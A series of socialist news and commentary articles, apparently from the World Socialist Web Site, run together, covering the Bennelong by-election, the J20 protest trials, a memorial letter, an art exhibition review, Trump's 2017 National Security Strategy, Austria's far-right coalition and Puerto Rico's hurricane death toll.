The Liberals heavily promoted anti-Chinese xenophobia, alleging that sections of the Labor Party are in cahoots with a Chinese Communist Party plot to undermine Australian democracy.

In the week before polling, Labor Senator Sam Dastyari was forced to resign from federal parliament, after government and media attacks claiming that he was a double agent because of his dealings, as a Labor fundraiser, with a Chinese businessman.

Dastyari was also denounced for a speech two years ago, in which he made tepid warnings against direct Australian involvement in US military provocations against Beijing in the South China Sea. He was also condemned for telling a Chinese donor that their phones might have been tapped by the intelligence agencies.

Dastyari has been a particular target in a year-long anti-China campaign spearheaded by the Australian Broadcasting Corporation, Fairfax Media and Australias domestic intelligence agency, ASIO. The witch-hunt is based on lurid and unsubstantiated claims of pervasive Chinese interference in Australian politics, universities and research projects.

The campaign is aimed at conditioning the population behind Washingtons deepening confrontation and preparations for war with Beijing, in which Australia is playing a critical role.

Keneally and other Labor politicians criticized the governments rhetoric during the by-election as Chinaphobic, in a bid to appeal to the large ethnic Chinese constituency in the Bennelong electorate.

Labors stance, however, amounts to nothing more than cynical posturing. Labor leader Bill Shorten and other Labor ministers legitimised the attacks on Dastyari, and effectively forced him out of the parliament, by publicly calling for his resignation.

Moreover, the Labor Party supports the US military alliance to the hilt and previous federal Labor governments were instrumental in aligning Australia with the US war drive against China.

The governments anti-China campaign appears to have provoked opposition in the election particularly among Chinese voters. The Chinese community makes up around 21 percent of all residents and an estimated 16 percent of enrolled voters.

An article in yesterdays Australian noted: Of the 16 voting booths that recorded a swing to Labor greater than the seat average, 13 were in suburbs where people of Chinese ancestry made up 20 percent or more of the population. It pointed out that the booth with the highest swing to Labor (12.66 percent) also had one of the largest Chinese populations in the electoratewith 34.5 percent of its voters being of Chinese descent.

The results suggest a growing recognition, among Chinese-Australians, along with broader sections of the population, that the McCarthyite attacks against supposed Chinese influence are a threat to the democratic rights of ordinary people.

Alexander responded to his victory by declaring it to be a renaissance of Turnbulls leadership of the Liberal-National Coalition, which has been rent by deep divisions. Shorten and Keneally likewise claimed that the swings towards Labor foreshadowed a sweeping victory in a federal election next year.

In reality, the by-election was further proof that faced with widespread political discontent, the official political parties, which are committed to the corporate elites program of war and austerity, have nothing to offer but lies and cynical bluster, along with nationalism and racism aimed at dividing the working class.
The first of a round of trials of defendants involved in the January 20 protests against the inauguration of President Donald Trump came to a close on Friday. The jury has been in deliberation over the weekend, with a verdict expecte at some point this week. The mainstream press has held the case under an effective media blackout, with the exception of a few cursory articles that largely gloss over details.

The six defendants are Jennifer Armento, 38, of Philadelphia; Michelle Macho, 26, of Asheville, North Carolina; Oliver Harris, 28, of Philadelphia; Brittne Lawson, 27, of Aspinwall, Pennsylvania; Christina Simmons, 20, of Cockeysville, Maryland; and Alexei Wood, 27, of San Antonio, Texas. They each face decades in prison for participating in the protests, during which five windows belonging to banks and corporate stores were reportedly smashed and a limousine was set on fire. Like the vast majority of the other 188 individuals due to face trial next year, none of the defendants were involved in any manner with the damage that occurred that day.

On Wednesday, D.C. Superior Court Judge Lynn Leibovitz dismissed the charge of inciting a riot, a felony that carries a maximum 10-year sentence. She cited a lack of evidence by the prosecution to prove that the defendants had urged individuals to engage in violent or otherwise destructive behavior. Leibovitz has refused to acquit the defendants on seven other charges, however, including five counts of felony property destruction, misdemeanor rioting, and misdemeanor conspiracy to riot. These charges altogether could land the defendants in prison for up to 50 years.

The prosecution, headed by Assistant US Attorney Jennifer Kerkhoff, has stumbled over the course of the trials. From the first days of the proceedings, the prosecutions approach has been unabashedly vindictive while lacking tangible evidence against the defendants. What little evidence has been presented has ranged from the dubious to the utterly absurd.

The prosecutions case relies on video captured by police body cameras, reporters, undercover policemen, and cell phones confiscated from protesters. Notably, they also have extensively used video material from far-right groups such as Project Veritas and the Oath Keepers militia. Leibovitz ruled as admissible Project Veritass video of a Disrupt J20 planning session, taken weeks before the inauguration, despite the propaganda groups history of falsifying and misrepresenting the targets of its sting operations.

The crux of the argument by the prosecution so far has been to somehow prove that the vandalism that occurred on January 20 was not a spontaneous event, but rather, a premeditated riot. Prosecutors attempt to justify this claim by citing the heavily suspect video material of the planning session taken by Project Veritas.

Prosecutors also point to Brittne Lawson, a Pittsburgh nurse who had shown up to the protests in the capacity of a medic. What do you need a medic with gauze for? Assistant US Attorney Rizwan Qureshi asked Lawson. I thought this was a protest. He later stated to the jury, She wasnt prepared for a march or a protest. She was prepared for war. She was going to be there to help members who are in black, who get pepper-sprayed, who get hurt because theyre provoking the police, to mend them and then get them up on their way so they can continue their destruction.

The warped logic of the prosecution was that if the damage that occurred was planned, then the decision by many protesters to wear black, chant slogans and march can now be considered as evidence of culpability. In his closing arguments given last Thursday, Qureshi went as far as to compare protesters affiliated with the black bloc to a getaway driver in the middle of a bank robbery. Thats exactly what this sea of black was, he announced. It was the getaway car.

These arguments by the prosecution reveal the more far-reaching legal precedent that the state hopes to establish: collective punishment. According to the prosecution, anyone present at the January 20 inauguration protestseven those who were simply in the wrong place at the wrong timeis potentially criminally liable for the property damage that occurred. A person can be convicted of rioting without breaking a window, Kerkhoff claimed at a hearing in July. It is the group who is the danger, the group who is providing the elements, the group thats criminal.

The decision that Leibovitz should preside over the case further underscores the political character of the trials. Leibovitz has a reputation for adopting a hard-line attitude, particularly with regard to protesters. She has been routinely hailed in the mainstream press as DCs toughest judge, having been described by one defense attorney as smart and relentless.

Leibovitz notoriously sentenced a 78-year-old antiwar activist to 25 days in prison in 2010 after the woman had disrupted a Senate Foreign Relations subcommittee hearing in protest over the criminal imperialist wars in Iraq and Afghanistan. Adding insult to cruelty, she said the womans activities demeaned the action of protest.

Judge Leibovitz is in fundamental agreement with the prosecution on the question of collective punishment. Her dismissal of one of the eight charges was only due to the fact that the evidence the prosecution had produced was so paltry that even she had admitted no reasonable juror would convict the defendants. Meanwhile, she has consistently refused to take up any of the constitutional challenges put forward by the defense.

Last Wednesday, when defense attorney Jamie Heine reminded her that activities such as wearing black and marching were both protected under the First Amendment, Leibovitz snapped, Im really asking you to focus in on the facts, not just to state constitutional principles. What [the jury] must decide is whether the defendants have committed the offenses charged.

This statement underscores the increasingly authoritarian and even overtly fascistic attitudes festering within the ruling class as a whole. The logic of the prosecution, likewise, bears a certain resemblance to the policies of group reprisal carried out by the Nazis during the Second World War against partisans, resistance groups and ethnic minorities in occupied territories. It is no coincidence that the concept of collective punishment is characterized as a war crime under the 1949 Geneva Convention.

It is within this context that one must view the trials. For the court, the outcome of sentencing is a matter of secondary importance. The primary objective of the state over the course of these trials is to put in place legal precedents that effectively criminalize dissent. The first right in the crosshairs of the state is the Freedom of Assembly granted by the First Amendment of the US Constitution.

It is improbable that all 194 defendants who will stand trial through the end of this year and the next will all be sentenced. This does not mean, however, that the court does not wish to make an example of them. Even with an acquittal, the defendants will have gone through what is likely one of the worst moments of their lives. Some defendants have already been fired from their jobs as a result of their arrests, while many others face the danger of harassment or even reprisal from far-right groups.

Elizabeth Lagesse, a defendant in a parallel anti-protester trial and former graduate student from Baltimore, announced at a press conference last month that punishment has already been delivered in the form of the stress, the disruption in their lives. The chaos inflicted on defendants lives has been doing a lot of the job of suppressing speech, of suppressing dissent, of contaminating these people.

The Democratic Party has remained silent on the issue over the course of the year. Not one leading Democratic official has spoken up on behalf of the protesters since their arrests on January 20. Such is the true character of the Democratic-led resistance. The Democratic Party is opposed to any pretense of mounting a defense of democratic rights. The opposition by Democrats to the Trump administration is of a purely superficial character, representing a rival faction of the ruling class currently embroiled in a conflict over which policies to pursue within the framework of US imperialism.

The Democrats lukewarm opposition to the Trump administration, currently centered on the bogus anti-Russia and sexual harassment campaigns, does not speak to any of the issues facing the broader layers of society. They fear that opposition to Trump could break out of the political straitjacket of official establishment politics and assume an independent character. What they dread most of all is the eruption of a mass movement of the working class.
This letter was sent by WSWS International Editorial Board Chairman David North to a gathering of the Socialist Equality Party in Sri Lanka marking the 30th anniversary of the death of Keerthi Balasuriya. Comrade Keerthi was the founding general secretary of the Revolutionary Communist League (RCL), the Sri Lankan section of the International Committee of the Fourth International and predecessor to the SEP. The event was held at the Colombo Cemetery in Sri Lanka on December 18.

Dear Comrades,

Thirty years ago, on December 18, 1987, Comrade Keerthi Balasuriya died at the untimely age of 39. When I received the news on that Friday morning, it came as a terrific shock. Only a few weeks earlier, Keerthi and I had worked together in London, writing a political statement on the treacherous accord between the Indian and Sri Lankan bourgeoisie. It was difficult to believe that this brilliant revolutionist, at the height of his intellectual and political powers, was suddenly gone.

Keerthis death was an irreplaceable loss to the International Committee of the Fourth International and its Sri Lankan section. In Sri Lanka, Keerthi had led the Revolutionary Communist League since its founding in 1968. Under the most difficult political conditions, exacerbated by the increasingly unprincipled national opportunism of the British Workers Revolutionary Party (WRP), Keerthi fought to uphold the revolutionary internationalist program upon which the founding of the RCL had been based.

In October 1985, as the crisis within the WRP erupted, Comrade Keerthi traveled to London. He immediately aligned himself with those within the International Committee who were fighting to defend the historically-grounded principles of the Fourth International. During the next two years, in drawing the political lessons of the break with the WRP, Keerthi played a critical role in the theoretical and political rearming of the International Committee.

At the funeral of Comrade Keerthi, I stated that his work as a revolutionary Marxist would prove more enduring than all those who claimed to have discovered, through the treacherous mixture of Stalinism, nationalism and pseudo-socialist demagogy, an alternative to the principles of Marxist internationalism.

That prediction has been proven correct. During the 30 years since Keerthis death, history has carried out a brutal reckoning with the political legacy of Mao, Ho Chi Minh, Tito, and Castro, not to mention the innumerable representatives of Third World bourgeois nationalism (i.e., Nelson Mandela, Nasser, and Gaddafi, to name only a few).

Thirty years after Comrade Keerthi's death, it is an incontestable fact that the International Committee of the Fourth International is the only political tendency in the world that represents the program of World Socialist Revolution. Herein lies the imperishable legacy of the life of our comrade and dearest friend, Keerthi Balasuriya.

David North

On behalf of the Socialist Equality Party (US) and the International Editorial Board of the World Socialist Web Site

See also:

In Memory of Keerthi Balasuriya

[18 December 2012]

South Asias foremost Marxist of the second half of the 20th century

[27 December 2012]
Red Star Over Russia: A Revolution in Visual Culture 1905-55, Tate Modern, London until February 18, 2018

I have commented on several art exhibitions marking the centenary of the 1917 Russian Revolution. Certain common themes have emerged.

The Revolution, curators have told us, was a coup carried out by a handful of Bolsheviks and a deviation from the natural development of Holy Russia towards democracy. Exhibition catalogues have regurgitated the historical lie that the betrayal of the working class and international socialism by the bureaucratic apparatus headed by Joseph Stalin was the inevitable outcome of Bolshevism and of the revolution itself. Leon Trotsky, if he has been mentioned at all, has been trivialisedthe outmaneuvered loser in a personal power struggle with his canny rival, Stalin.

In February, I noted how the Royal Academy exhibition, Revolution: Russian Art 1917-1932 excised Trotsky and, more generally, historical truth.

I had some expectation that this falsification of history would be remedied by the Tate Modern Red Star Over Russia exhibition. After all, the majority of exhibits are from the unique 250,000-strong collection of photographer, designer and archivist David King. He was so keen that his lifes work go on display and reach a wider audience that he virtually gave his collection away to the Tate for 1.5 million (or 6 per object!) a few years ago.

In addition, until he died, aged 73, in 2016, King was personally involved in preparations for the exhibitionnamed after his seminal work, Red Star Over Russia: A Visual History of the Soviet Union.

In that book and other publications including The Commissar Vanishes: The Falsification of Photographs and Art in Stalins Russia and Trotsky: A Photographic Biography, King provides the clear historical and political background needed to understand the graphic material that he rescued from oblivion. In accompanying texts to the illustrations, King sought to reveal the historical truth about the 1917 Russian Revolution and, above all, about Trotsky, whom he always insisted represented an alternative to Stalinism and dictatorship.

The suppressed and hidden imagery of Trotsky and his supporters in the Left Opposition, possession of which in the Soviet Union could have led to arrest, imprisonment and execution, became a key component of Kings collection. King also collaborated with the International Committee of the Fourth International (ICFI), including on How the GPU Murdered Trotsky, published in 1976, which detailed the Stalinist plot against Trotskys life and the operations of the deadly network of GPU agents in and around the Fourth International.

However, the Tate Modern exhibition abandons this orientation entirely. Gallery director Frances Morris brazenly declares about King, Had he lived this would have been a very different project, but early on we made the decision to respect his spirit without imitating it.

This decision and the claim that keeping the exhibition deliberately low key in terms of history and politics would somehow allow the images to speak for themselves are diametrically opposed to Kings approach. His spirit is thereby also eviscerated.

Moreover, politics and history of course are not abandoned. Where there is any explanation, a different politics is substituted that distorts and falsifies history. Statements such as [T]he Bolshevik coup of 25 October 1917 led to Civil War between the Red Army and a much more diverse White Army opposing unelected Bolshevik power, are standard anti-communist slanderous fare. The Red Army was diverseworkers and peasants, men and women, Russians and national minorities, intellectuals. But it was united in defence of a great liberating and popular revolution that had established the worlds first workers state. The White Army was led by monarchist or fascist elements, backed by the imperialist powers that sought to overturn that revolution through a bloody Civil War.

In the exhibition, Trotskys role as president of the Petrograd Soviet, organiser of the uprising, head of the Red Army and leader of the opposition to Stalinism, something King spent his life uncovering and popularising, is again excised.

Trotsky makes an appearance in the second gallery at the Tate Modern on a stunning wall of early agitational posters in various languages, appealing to the oppressed in Russia and internationally. However, there are no translations or explanations of the posters or any indication in the Be on Guard poster (bottom of second column) that the figure in military uniform bestriding Europe is Trotsky and that the text, indeed, is written by him.

In a side room to the third gallery, short videos show Trotsky at a demonstration in Red Square in 1922 and speaking at the Sverdlov University in 1924. The spontaneity and enthusiasm of the occasions and the way Trotsky fraternises with workers and soldiers contrast with the third video of Soviet leaders standing aloof on Lenins tomb in 1927, minus Trotsky, the year he was expelled from the Central Committee. Although the information board is titled Trotsky Vanishes, none of the reasons for his expulsion, exile and eventual murderthe bitter disputes over perspective and programmeare given. Instead, a power struggle between two individuals is served up as the explanation.

Trotsky makes another appearanceamong photographs and prints on display in gallery fourin a front-page cartoon in the satirical magazine Crocodile in 1927. The gallerys caption for the cover, which displays anti-Semitic imagery, blandly says, An internal feud within the Bolshevik party followed Lenins death. The Left Opposition made up of Leon Trotsky, Lev Kamenev and Gregory Zinoviev challenged Stalins leadership. Satirical magazines with official backing, such as Crocodile, exposed the opposition to ridicule. Here, they are shown in the guise of street musicians without an audience.

That is all the Tate has to say about the titanic struggle between the opposing perspectives of world socialist revolution defended by Trotsky and the Marxist opposition, on the one hand, and the Stalinist bureaucracys advocacy of socialism in one country, on the othera struggle that was to play a major role in determining the course of the 20th century. The supposedly absent audience for Trotsky was physically eliminated in its hundreds of thousands by Stalin with purges, arrests, show trials, labour camps and executions.

The sixth room at Tate Modern contains images of some victims of the Stalinist Terror, but no one would guess that Trotsky and Trotskyists were the main target. A large display table contains police photographs of political prisoners, many arrested and executed in the first of the 1936-38 Moscow show trials, including one of a bewildered Zinoviev, a member of the Bolshevik faction from its creation in 1903 and head of the Communist International. Why Zinoviev was tried and shot (on charges being a leader of a fictional Trotskyite-Zinovievite Terrorist Centre) is not evident.

Despite the Tates distortions, the power of the post-revolutionary images shines through. Russia: The Way It Was, The Way It Is, The Way It Will Be, a 192-page book containing 450 high quality photographs from the 1860s until 1932 is a revelation. There are marvelous images of revolutionary sailors from the cruiser Aurora and women as soldiers, a soviet delegate and judges. Put together by Hungarian writers Sandor Marai and Laszlo Dormandi for publication by a German publishing house, Russia: The Way It Was never saw the light of day as a result of Nazi and Stalinist censorship. The exhibition is the first time the photographs have been displayed in public.

The vibrant creativity of avant-garde artists inspired by the revolution is represented in the Constructivist and Suprematist works by couples such as Alexander Rodchenko and Varvara Stepanova, Gustav Klutsis and Valentina Kulagina, and El Lissitzky and Sophie Lissitzky-Kupppers.

From the late 1920s onward, they and scores of other artists were accused of abstract formalism and their art groups and institutions dissolved and replaced by unions imposing Socialist Realism, the Stalinist caricature of art. Many avant-garde artists did their best in increasingly repressive conditions to produce striking imagery and innovative and interactive design to depict the Soviet Unions spectacular social and economic advances. On display are the results of their efforts in publications such as the catalogue of the Soviet pavilion at the International Press Exhibition in Cologne in 1928 and the magazine, The USSR in Construction.

Launched in 1930, The USSR in Construction continued publication until 1941. But by then its leading contributors were under arrest or executed, including Klutsis, whose posters probably promoted the cult of Stalin more than any other.

The height of Socialist Realism conformity is displayed in three huge studies for murals in the Soviet pavilion at the 1937 World Fair in Paris and depict Stakhanovite workers [workers under Stalinism who were supposedly surpassing production goals] marching resolutely in front of the never to be built Palace of the Soviets in the background. It is the first appearance in the UK of the paintings on loan from the Perm state art gallery.

One hundred years after the overthrow of the Tsarist autocracy and the coming to power of the Bolshevik Party, the Tate and other artistic institutions continue to wage a concerted campaign to denigrate the Russian Revolution and insist it has no relevance in the 21st century. This only testifies to its enduring impact and intense political relevance.

The vilification of the Revolution is encouraged both financially and ideologically by the Russian ruling elite, as the recent Russian TV series denigrating Trotsky shows. In this way, they seek to justify their power and obscene wealth acquired by the looting of state assets that followed the collapse of the Soviet Union and restoration of capitalism.

Art is an important source of patronage, influence and money-makingnowhere more so than in deregulated London. This years Russian art exhibitions have relied on billionaires linked in one way or another to Russia for support, including at the British Library (Mikhail Fridman) and Royal Academy (Leonard Blavatnik). The Tate exhibition is taking place in the recently opened Blavatnik wing and curated by Natalia Sidlina, who is supported by Leonid Mikhelsons W-A-C Foundation.

Throughout this centenary year, the International Committee of the Fourth International commemorated the October Revolution by studying and explaining its origins and significance, centered on a comprehensive online lecture series. We have explained to advanced workers and young people internationally the central lessons to be drawn from Octoberabove all significance of the defence of international socialism by Trotskyfirst as the leader of the Left Opposition and later as the founder of the Fourth Internationalagainst the nationalist betrayal of October by the Stalinist bureaucracy. Those who have been introduced to this history will understand very well why the Tate Modern and leading lights within the artistic world try so desperately to denigrate that struggle and excise Trotsky from history.

The author also recommends:

David King 1943-2016: Revolutionary socialist, artist and defender of historical truth

[14 May 2016]

Uncovering the truth about Trotsky and the Russian Revolution continues to run my life A conversation with the remarkable David King

[4 December 2008]
President Donald Trump delivered a speech in Washington Monday introducing his administrations new America First National Security Strategy, a 55-page document that sets out in blunt terms the preparations for a new world war.

Whether Trump had even read the document was far from clear. His address itself was essentially a barely warmed over campaign stump speech, celebrating his election in November 2016, his inauguration in 2017 and touting all of his America First and Make America Great Again themes, ranging from building a border wall and cracking down on immigrants to ripping up trade and climate agreements and upending the nuclear accord with Iran.

Delivered in a flat and indifferent monotone, the speech had all the earmarks of a piece drafted by Trumps fascistic senior policy advisor Stephen Miller, with its strident anti-immigrant themes, its invocation of American culture and values and its vow that we will stand up for ourselves, and we will stand up for our country like we have never stood up before.

Trump cast his administrations nearly one-year tenure as an economic turnaround for the United States, reflected above all in the stock market reaching an all-time high Monday for the 85th time since his election. He vowed that pending tax cuts for the corporations and the rich combined with the slashing of regulations would continue this trend.

There was more than a faint echo of Hitlerian ideology in Trumps address, with its denunciations of past presidents for betraying the forgotten American citizens and its vow to restore the economy by building up the military and the American arms industry.

Our will is renewed, our future is regained, and our dreams are restored, Trump concluded in his address, adding, Every American has a role to play in this grand national effort.

The essence of the National Security Strategy document itself consists of a call for the preparation for a new era of great power conflict and world war. While including Trumps themes of militarizing the border and hounding immigrants along with invocations of American nationalism, the meat of the document reflects the thinking within the cabal of active duty and retired generals who dominate US foreign policy, including National Security Advisor Gen. H. R. McMaster, Defense Secretary Gen. James Mad Dog Mattis and Trumps chief of staff, Gen. John F. Kelly.

McMaster, who reportedly played the leading role in the drafting of the document, expressed the thrust of its message in a conference organized last week by a British think tank, Policy Exchange. Geopolitics are back, and back with a vengeance, after this holiday from history we took in the so-called post-Cold War period, McMaster said.

After a quarter century of uninterrupted US wars in the wake of the Stalinist bureaucracys dissolution of the Soviet Union in 1991, McMaster and his fellow generals are using the new National Security Strategy to insist that Washington has been insufficiently aggressive and to push for an unprecedented upsurge in American militarism, directed at preparing for global war directed against China and Russia, both nuclear powers.

The document describes both China and Russia as revisionist powers and hostile competitors that are seeking to shape a world antithetical to US values and interests. China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity, the document states.

These competitions require the United States to rethink the policies of the past two decadespolicies based on the assumption that engagement with rivals and their inclusion in international institutions and global commerce would turn them into benign actors and trustworthy partners, the document continues. For the most part, this premise turned out to be false.

The document includes an agenda for trade war and a set of domestic economic policies in its national security prescriptionsall of them aimed at transferring wealth from the working class to Wall Street through tax cuts, deregulation and restraining federal spending. Its principal demand, however, is for an unrestrained military buildup.

While the multiple wars waged over the past 16 years have drained nearly $6 trillion from the US economy, and Washington continues to spend more on its military than the next eight countries combined, the document presents the massive US war machine as dangerously underfunded and undermanned.

Since the 1990s, the United States displayed a great degree of strategic complacency, the document states. Instead of building military capacity, as threats to our national security increased, the United States dramatically cut the size of our military ... Instead of developing important capabilities, the Joint Force entered a nearly decade long procurement holiday during which the acquisition of new weapon systems was severely limited.

The holiday, the document indicates, is over. A military buildup is required to confront the attempt by China and Russia to reassert their influence regionally and globally.

Today, they are fielding military capabilities designed to deny America access in times of crisis and to contest our ability to operate freely in critical commercial zones during peacetime, it states. In short, they are contesting our geopolitical advantages and trying to change the international order in their favor.

The Pentagon, it states, must achieve military overmatchthe combination of capabilities in sufficient scale to prevent enemy success and to ensure that Americas sons and daughters will never be in a fair fight.

At the same time, it rejects what it describes as a post-Cold War conception that all wars would be fought and won quickly, from stand-off distances and with minimal casualties. Implicitly, what now must be accepted is the prospect for far larger wars that will involve the deaths of American troops on a scale not seen since the Second World War.

To retain military overmatch the United States must restore our ability to produce innovative capabilities, restore the readiness of our forces for major war, and grow the size of the force so that it is capable of operating at sufficient scale and for ample duration to win across a range of scenarios, the document continues. The United States must reverse recent decisions to reduce the size of the Joint Force and grow the force while modernizing and ensuring readiness.

While calling for a substantial buildup of troop levels, the document also lays heavy stress on the strengthening of US capabilities in terms of waging nuclear war. The United States must maintain the credible deterrence and assurance capabilities provided by our nuclear Triad and by US theater nuclear capabilities deployed abroad, it states. Significant investment is needed to maintain a US nuclear arsenal and infrastructure that is able to meet national security threats over the coming decades.

In what amounts to a brief for nuclear war brinksmanship, the document asserts: We will not allow adversaries to use threats of nuclear escalation or other irresponsible nuclear behaviors to coerce the United States, our allies, and our partners. Fear of escalation will not prevent the United States from defending our vital interests and those of our allies and partners.

The National Security Strategy document constitutes a grave warning. In 2002, the administration of George W. Bush issued such a document advocating preemptive war. Within a year, US troops had invaded Iraq, launching a war of aggression based upon lies. The present document is making the case for a world war fought with nuclear weapons.
The entry Monday of the far-right Freedom Party (FPO) into the Austrian government marks a political turning point for all of Europe. In a country traditionally seen in the post-World War II period as part of Western Europe, where anti-fascism became a pillar of the official state ideology following the crimes of Hitlers Third Reich, politicians with close ties to the neo-Nazi scene and ultra-right circles are wielding power. The police, military and intelligence services are all controlled by FPO ministers.

When the conservative Austrian Peoples Party (OVP) first formed a coalition government 17 years ago with the FPO, led at the time by Jorg Haider, it provoked an international wave of protest and outrage. The European Union imposed sanctions on Vienna. This time around, nothing of the kind has taken place. Instead, the new government has been met with praise and support.

The FPO has joined the mainstream of European politics, wrote Viennas Der Standard. The Swiss Neue Zurcher Zeitung described the governments program as right-wing conservative with a few symbolic policies, but overall solid and with good approaches. For the Frankfurter Allgemeine Zeitung, the new government is first of all a degree of democratic normality. It is not necessary to like the government, the newspaper adds, but it should be respected.

Die Welt opined that there is no benefit to pillorying Austrias new government. It should be given a chance. The newspaper advised Europe to react calmly, adding, Austria is not on the edge of the abyss, as we hear from the left. Germanys government spokesman declared that Chancellor Angela Merkel and the German government as a whole are open to close cooperation.

The reason for these laudatory reactions is not that the FPO has grown more moderate. On the contrary, under the leadership of Heinz-Christian Strache, the new vice chancellor, the party has become more radical. However, the positions that provoked revulsion in 2000xenophobia, national chauvinism, disregard for democratic rights, the strengthening of the repressive state apparatus, militarismare now the official policies of all bourgeois governments and parties.

Capitalist society the world over is much more unequal than it was two or three decades ago. This was powerfully documented once again in the recently published World Inequality Report. While the wealth of a tiny minority explodes, hundreds of millions of people are plunged into increasingly unbearable living conditions. This is resulting in mounting anger and social opposition.

The ruling class is responding by shifting sharply to the right, adopting the far-rights program, oras in Austriainviting it into government. The ruling elite is preparing for the coming class battles by building up the repressive state apparatus, strengthening the most reactionary forces, and inciting racism and xenophobia. These developments recall the 1930s, although this time it is Muslims rather than Jews who are the main scapegoat.

The rise of the far-right in Austria, Europe and the United States can be understood only in the context of the rightward shift by all of the established parties, particularly those which once claimed to represent the interests of the working class.

In Austria, the Social Democrats (SPO) have held the position of chancellor since 1970, with an interruption of just seven years. The SPO, although it had abandoned its socialist goals long before, was still seen in the 1970s as the guarantor of social reforms. But it has moved continuously to the right in the intervening years, drawing ever closer to the FPO.

The far-right FPO could not have risen to power so easily if the SPO had not paved the way for it. In the state of Burgenland, the SPO formed a coalition with the FPO two and a half years ago. In the recent federal election campaign, then-Chancellor Christian Kern, the SPOs lead candidate, declared his willingness to form a coalition with the far-right at the federal level.

Similar developments are taking place throughout Europe and in the United States. In the face of mounting social tensions and the threat of class conflict, the established parties are closing ranks and marching jointly to the right. The far-right profits from this in two ways: it is strengthened by the established parties adoption of its policies, and it fills the vacuum left by the social democrats rightward shift with its populist demagogy. As a result, the accumulating anger and opposition among the masses find no progressive outlet.

In Germany, the Social Democratic Party (SPD) took the lead in the social counterrevolution with its imposition 12 years ago of the Hartz labour laws, which brought about a massive deterioration in the living standards of working people. The SPD has since served as junior partner in coalitions with the conservatives (Christian Democratic Union-Christian Social Union), which have built up the state apparatus at home and the military abroad.

Foreign Minister and former SPD leader Sigmar Gabriel is now calling for the SPD to adopt the policies of the far-right Alternative for Germany. In a recent commentary in Der Spiegel, Gabriel argued that instead of focusing on questions of redistribution, the SPD should concentrate on the desire for identity, homeland and a dominant culture.

Years of social cutbacks in Italy by so-called centre-left governments, in which the social democratic PD (Democratic Party) played a leading role, have encouraged the rise of various far-right parties, including the xenophobic Five Star movement.

The Greek pseudo-left Syriza Party of Alexis Tsipras, which was raised to power on a wave of opposition to the EUs austerity dictates, formed a coalition government with the far-right Independent Greeks (Anel) to impose even more vicious austerity measures.

In the United States, the symbiotic relationship between the Democrats, Wall Street and the military-intelligence apparatus created the conditions for Donald Trump to win the presidential election. With the reactionary character of the Trump government becoming ever clearer, the Democrats are attacking it from the right. They are focusing their opposition not on Trumps tax cuts for the rich, his attacks on immigrants, democratic rights and social welfare provisions, or his war threats against North Korea and Iran, but because his stance towards Russia is not sufficiently aggressive.

The shift to the right in Austria underscores that the struggle against political reaction, poverty, social cuts, repression and war requires the development of an independent, socialist mass movement of the international working class.

Numerous pseudo-left organisations, which at times describe themselves as socialist and even Marxist, cling to the coat-tails of the social democrats, the Left Party in Germany or the Democrats in the United States. They claim that it is possible to apply pressure to these right-wing parties and win their support for progressive policies. This is a dangerous illusion that paralyses the working class and strengthens the right.

The world crisis of the capitalist system, generating mounting global tensions and a frenzied growth of militarism that leads inexorably to a new world war, has assumed dimensions that make any social or political compromise impossible. This is why the bourgeois media and the established parties are welcoming the far-right FPO into the mainstream of European politics with open arms.

The International Committee of the Fourth International (ICFI) and its sections, the Socialist Equality Parties, constitute the only political tendency in the world fighting for the international revolutionary mobilization of the working class on the basis of a socialist program. All who seriously desire to fight the rise of the far-right should make the decision to join this struggle and participate in the building of the ICFI.
Puerto Rican Governor Ricardo Rossello announced Monday that he had ordered a review of every death on the island since Hurricane Maria made its devastating landfall in late September.

The announcement came amid growing pressure from Puerto Ricans angry over the official death toll, which currently stands at 64, an absurdly low number. The official cover-up of the death and destruction caused by the storm compounds frustration and bitterness within the population over the lack of a coordinated effort to restore power to the island and distribute much needed food and fuel supplies.

Puerto Ricos administrators as well as officials from the Trump administration have resisted efforts to raise the official death toll despite mounting evidence that the real figure far exceeds the current number. Rossello told reporters at a press conference Monday that the death toll may be higher than the official count certified to date, but that he would not adjust the count based on statistical analysis.

Rossellos review promises to be a drawn-out process involving interviews with doctors, medical staff and family members to determine the circumstances surrounding each death.

Given the current state of the islands infrastructure, a thorough investigation of this sort carried out in a timely manner is effectively impossible. Moreover, some 911 bodies have been cremated since the storm, as their deaths were officially determined to be the result of natural causes, ruling out the possibility of an autopsy in these cases.

Most of the US territory was thrust into 19th century living conditions overnight by the storm, with the islands already fragile power grid knocked offline and residents forced to collect water for cooking, cleaning and drinking from mountain streams. Tens of thousands of people have been compelled to leave the island to seek work in the United States.

Nearly three months after the storm, more than a million people, living primarily in working class neighborhoods and rural mountain villages, are still without power or running water. Cell phone service, which was knocked out completely after the storm hit, remains spotty in many areas.

The lack of consistent electricity has created an impossible living situation for the elderly and infirm, who rely on electricity to power dialysis machines for diabetes, equipment for easing respiratory illnesses and sleep apnea, and refrigeration for medicines.

Following multiple reports in the mainstream American media documenting the fact that the real death toll exceeds 1,000, it has become increasingly difficult to conceal the real situation on the island. Two Democratic members of Congress, Nydia M. Velazquez of New York and Bennie Thompson of Mississippi, submitted a request last week with the Government Accountability Office for a federal review of the death toll in Puerto Rico and the US Virgin Islands.

A study by the Puerto Rico-based Center for Investigative Journalism (CPI) of data from the islands Demographic Registry found that 985 additional people died in September and October when compared to 2016.

During the two months following the storm, fatalities spiked in every age group over 18, but particularly among those over the age of 50. The CPI reports that a majority of additional recorded deaths came among those in nursing homes and hospitals suffering from complications related to diabetes, Alzheimers, kidney disease, hypertension, pneumonia and other respiratory diseases.

The New York Times reported that its own analysis of daily mortality data found that in the 42 days after the storm made landfall, 1,052 more people died than the average in 2016 and 2015. The greatest increase in deaths, up nearly 50 percent, came from sepsis, an immune response caused by a bacterial infection due to unsanitary conditions.

The data which the Times examined was incomplete for the month of October and did not cover November or December, when many were still without power, meaning the true death toll is even higher.

A third survey by CNN of half of the islands funeral homes found 499 additional deaths, which funeral directors attributed to the storm.

Reporters from the World Socialist Web Site have interviewed multiple Puerto Ricans who have corroborated these reports, relating cases of family members who died because of a lack of electricity as well people being swept away by the flood waters. Some recounted reports that residents in rural areas buried the dead before they could be counted, after being cut off from contact with the outside world for days or weeks due to downed power lines, fallen trees and washed out roads.

A doctor from San Juan told the WSWS that people were buried alive in mud slides and there has as of yet been no effort to recover their bodies. Medical clinic workers have reported an increase in the number of people coming in with suicidal thoughts.

The effort to obscure the true death toll in Puerto Rico and sweep the reality of the devastation under the rug underscores the contempt of the American ruling class for the islands working class. At the same time, raising the official death toll will by itself do little to ease the burden residents confront. Nor will it unlock any addition federal aid.

